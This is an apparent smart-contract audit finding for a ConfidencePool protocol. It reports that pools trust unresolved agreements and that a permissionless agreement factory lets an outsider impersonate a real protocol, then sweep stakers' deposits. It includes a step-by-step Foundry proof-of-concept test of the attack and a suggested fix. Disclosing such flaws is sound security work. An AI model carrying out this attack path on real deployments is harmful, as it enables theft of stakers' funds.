FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: high

[M-1] The Pool never resolves the binding agreement, so resolution can diverge from real attack outcomes.

Author Revealed upon completion

Description:

ConfidencePool validates and permanently trusts its agreement parameter using the pattern Battlechain's own documentation names and flags as unsafe:

From the ConfidencePoolFactory::createPool and the ConfidencePool::initialize

// ConfidencePoolFactory.createPool / ConfidencePool.initialize
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();

From the ConfidencePool::_replaceScope

// ConfidencePool._replaceScope
if (!IAgreement(agreement).isContractInScope(account)) revert AccountNotInAgreementScope(account);

From the ConfidencePool::_getAgreementState

// ConfidencePool._getAgreementState — read on every stake/withdraw/flag/claim
return IAttackRegistry(attackRegistry).getAgreementState(agreement);

From this part of the docs it states that:

The legacy three-step check shown in older versions of these docs — safeHarborRegistry.isAgreementValid(...), attackRegistry.isTopLevelContractUnderAttack(...), agreement.isContractInScope(...) — is not safe if agreement was retrieved from BattleChainSafeHarborRegistry. All three checks can return true for an agreement that isn't the Binding Agreement, exposing you to different terms than you read. Always resolve via the API or BCQuery.

The Safe Harbor repos own known-issues.md may have confirmed that this as a named charateristic of the system:

" A protocol can deploy multiple factory-validated agreements and register different ones with each registry... The same divergence can arise unintentionally"

ConfidencePool never performs Binding Agreement resolution, the agreement is actually accepted as a raw parameter at initialize(), validated only through the documented unsafe checks and trusted for the pool's entire lifecycle as the source of the registry state driving every deposit gate and resolution path.

What may actually elevate this finding beyond a sponsor-trust question:

  • The AgreementFactory::create function is fully permissionless, and owner is a caller-supplied parameter not derived from msg.sender

function create(AgreementDetails memory details, address owner, bytes32 salt)
external
returns (address agreementAddress)
{
...
@> Agreement agreement = new Agreement{ salt: finalSalt }(s_registry, owner, s_battleChainCaip2ChainId, details);
...
s_isAgreement[agreementAddress] = true;
}

With keen observation, the agreement's constructor that has been highlighted above validates chain IDs against REGISTRY.isChainValid and internal consistency only, it never verifies the deployer or owner actually controls the account address being listed in scope.

This actually means that anyone, with zero relationship to a real protocol, can deploy an agreement listing that protocol's genuine contract addresses in its scope, name themselves as owner and attack moderator by default, and it will pass every check ConfidencePool performs.

This is no longer the usual legitimate sponsor acting carelessly or maliciously shenanigans that get invalidated on the codehawks platform. This is a fully permissionless attack path for any unrelated third party and critically since the attacker owns the decoy agreement, they are also its default attackModerator thus giving them the ability to drive that agreement's own registry state (including to CORRUPTED) entirely independently of the real protocol.

Impact:

The attached POC demonstrates the full attack chain end to end, not just pool creation:

An unrelated third party deploys their own agreement listing a real protocol`s contract address in scope.
Creates a fully attacker owned ConfidencePool through the legitimate factory flow (recoveryAddress pointed at their own wallet).
A staker deposits real capital believing they're insuring the displayed real protocol.
The attacker then drives their own decoy agreement to CORRUPTED, the pool's legitimate moderator, observing a genuingly CORRUPTED registry state for the agreement this pool was configured with, flags the outcome as bad-faith CORRUPTED, and the stakers entire principal(deposit) is swept to the attacker's recoveryAddress, all while the real protocol displayed in the pool's scope was never touched and remains completely unfazed.

From this wonderful and robust explanation that has been made above, this directly undermines the product's core premise which states: stakers economically signal their belief that the in-scope contracts will survive the agreement term, because the resolution stakers are paid out on is not guaranteed to reflect the real outcome for the contracts displayed, and here actively enables a fund-loss path for stakers with no fault on the moderator's part.

Proof of Concept:

Kindly place this into test/ and name the file PermissionlessDecoyAgreement.t.sol.

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.26;
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @notice POC for my Sweet Medium exploit that may possibly bag a solo Med: confirms via AgreementFactory.sol that `create()` is fully permissionless
/// and `owner` is caller-supplied, not derived from msg.sender, and that Agreement's constructor
/// never verifies the creator controls the listed scope addresses. This test demonstrates the
/// FULL attack chain: an unrelated third party creates a decoy agreement listing a real
/// protocol's contract, stands up a fully attackerA-owned pool via the same
/// Clones-clone-then-initialize mechanism ConfidencePoolFactory.createPool uses internally, a
/// staker deposits believing they're insuring the real protocol, the attackerA (as their own
/// decoy agreement's default attack moderator) drives it to CORRUPTED independent of the real
/// protocol, and the staker's principal is swept to the attackerA's recoveryAddress via the
/// pool's ordinary, correctly-functioning resolution logic.
contract PermissionlessDecoyAgreementTest is BaseConfidencePoolTest {
function test_UnrelatedThirdPartyRugsStakersViaDecoyAgreementImpersonatingRealProtocol() external {
address attackerA = makeAddr("attackerA");
address realProtocolContract = DEFAULT_SCOPE_ACCOUNT; // stands in for a real, reputable contract
// ─────────────────────────────────────────────────────────────────────────────────
// STEP 1: attackerA deploys their OWN agreement, naming themselves as owner, exactly
// what AgreementFactory.create(details, owner: attackerA, salt) permits for any caller,
// and lists the REAL protocol's contract in their decoy agreement's scope. Nothing
// checks that attackerA has any relationship to realProtocolContract.
// ─────────────────────────────────────────────────────────────────────────────────
vm.prank(attackerA);
MockAgreement decoyAgreement = new MockAgreement(attackerA);
vm.prank(attackerA);
decoyAgreement.setContractInScope(realProtocolContract, true);
safeHarborRegistry.setAgreementValid(address(decoyAgreement), true);
// ─────────────────────────────────────────────────────────────────────────────────
// STEP 2: attackerA stands up a pool via the same Clones clone then initialize path
// ConfidencePoolFactory.createPool uses internally , passing every check the real
// factory flow would perform, with themselves as owner and recoveryAddress.
// ─────────────────────────────────────────────────────────────────────────────────
ConfidencePool implementation = new ConfidencePool();
ConfidencePool decoyPool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory scope = new address[]();
scope[0] = realProtocolContract;
decoyPool.initialize(
address(decoyAgreement),
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
attackerA, // recoveryAddress >> fully attackerA-controlled
attackerA, // owner_ >> attackerA owns this pool, exactly as createPool would set it
scope
);
assertTrue(decoyPool.isAccountInScope(realProtocolContract), "pool displays the real protocol's address");
assertEq(decoyPool.recoveryAddress(), attackerA);
assertEq(decoyPool.owner(), attackerA);
// ─────────────────────────────────────────────────────────────────────────────────
// STEP 3: a staker deposits real capital into the decoy pool, believing they are
// insuring realProtocolContract based on the displayed, genuine scope.
// ─────────────────────────────────────────────────────────────────────────────────
token.mint(alice, 100 * ONE);
vm.prank(alice);
token.approve(address(decoyPool), 100 * ONE);
vm.prank(alice);
decoyPool.stake(100 * ONE);
assertEq(decoyPool.eligibleStake(alice), 100 * ONE);
// ─────────────────────────────────────────────────────────────────────────────────
// STEP 4: attackerA, as the DEFAULT attack moderator of their own decoy agreement,
// drives it to CORRUPTED >> entirely independent of realProtocolContract, which is
// never touched or attacked in any way.
// ─────────────────────────────────────────────────────────────────────────────────
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// ─────────────────────────────────────────────────────────────────────────────────
// STEP 5: the pool's legitimate moderator observes a genuinely CORRUPTED registry
// state for THIS pool's `agreement` and flags accordingly >> correct behavior on the
// moderator's part, given what they can actually observe on-chain.
// ─────────────────────────────────────────────────────────────────────────────────
vm.prank(moderator);
decoyPool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
assertEq(uint256(decoyPool.outcome()), uint256(PoolStates.Outcome.CORRUPTED));
// ─────────────────────────────────────────────────────────────────────────────────
// STEP 6: anyone (including the attackerA) sweeps the pool >> Alice's ENTIRE staked
// principal goes to the attackerA's recoveryAddress, while realProtocolContract was
// never attacked and remains completely unaffected throughout.
// ─────────────────────────────────────────────────────────────────────────────────
uint256 attackerBalanceBefore = token.balanceOf(attackerA);
decoyPool.claimCorrupted();
uint256 sweptToAttacker = token.balanceOf(attackerA) - attackerBalanceBefore;
assertEq(sweptToAttacker, 100 * ONE, "Alice's full principal was swept to the attackerA");
assertEq(decoyPool.eligibleStake(alice), 100 * ONE, "Alice's stake was never returned to her");
}
}

and run

forge test --mt test_UnrelatedThirdPartyRugsStakersViaDecoyAgreementImpersonatingRealProtocol -vvvv

Recommended Mitigation:

If IAttackerRegistry exposes getAgreementForContract, have ConfidencePool._replaceScope cross-check that agreement == attackRegistry.getAgreementForContract(account) for each top level scope account at scope-set time thus rejecting any account whose true Binding agreement doesnt match the pool`s agreement.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!